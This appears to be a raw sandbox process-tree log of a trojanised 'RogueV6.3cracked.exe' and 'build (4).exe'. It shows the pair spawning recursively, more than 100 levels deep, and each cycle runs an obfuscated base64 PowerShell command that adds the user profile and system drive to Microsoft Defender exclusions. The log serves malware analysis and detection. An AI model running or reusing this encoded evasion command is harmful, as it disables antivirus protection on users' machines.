C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="76⤵PID:6380
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"76⤵PID:6420
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"76⤵PID:5340
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="77⤵PID:2444
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"77⤵PID:248
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"77⤵PID:1712
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="78⤵PID:4640
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"78⤵PID:4768
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"78⤵PID:980
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="79⤵PID:2016
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"79⤵PID:4776
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"79⤵PID:5752
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="80⤵PID:5968
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"80⤵PID:5236
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"80⤵PID:1608
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="81⤵PID:4016
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"81⤵PID:400
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"81⤵PID:1792
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="82⤵PID:5728
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"82⤵PID:1608
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"82⤵PID:5428
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="83⤵PID:7268
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"83⤵PID:7300
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"83⤵PID:7336
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="84⤵PID:7524
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"84⤵PID:7532
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"84⤵PID:7572
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="85⤵PID:7736
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"85⤵PID:7752
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"85⤵PID:7780
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="86⤵PID:7940
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"86⤵PID:7980
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"86⤵PID:8044
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="87⤵PID:7172
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"87⤵PID:2516
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"87⤵PID:2020
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="88⤵PID:5668
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"88⤵PID:5140
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"88⤵PID:5900
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="89⤵PID:7412
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"89⤵PID:7456
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"89⤵PID:1728
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="90⤵PID:7648
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"90⤵PID:7708
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"90⤵PID:6768
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="91⤵PID:8120
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"91⤵PID:8128
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"91⤵PID:8140
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="92⤵PID:680
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"92⤵PID:5304
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"92⤵PID:6368
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="93⤵PID:6424
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"93⤵PID:6600
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"93⤵PID:412
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="94⤵PID:7764
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"94⤵PID:5336
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"94⤵PID:1728
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="95⤵PID:7904
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"95⤵PID:6940
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"95⤵PID:6608
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="96⤵PID:7052
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"96⤵PID:6580
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"96⤵PID:2996
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="97⤵PID:6996
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"97⤵PID:6320
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"97⤵PID:5156
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="98⤵PID:2072
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"98⤵PID:2076
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"98⤵PID:1216
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="99⤵PID:7968
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"99⤵PID:6120
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"99⤵PID:6352
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="100⤵PID:1128
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"100⤵PID:1036
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"100⤵PID:5288
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="101⤵PID:6832
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"101⤵PID:6496
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"101⤵PID:6468
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="102⤵PID:412
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"102⤵PID:4988
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"102⤵PID:3120
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="103⤵PID:1192
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"103⤵PID:1656
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"103⤵PID:7064
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="104⤵PID:5288
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"104⤵PID:5224
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"104⤵PID:6008
-
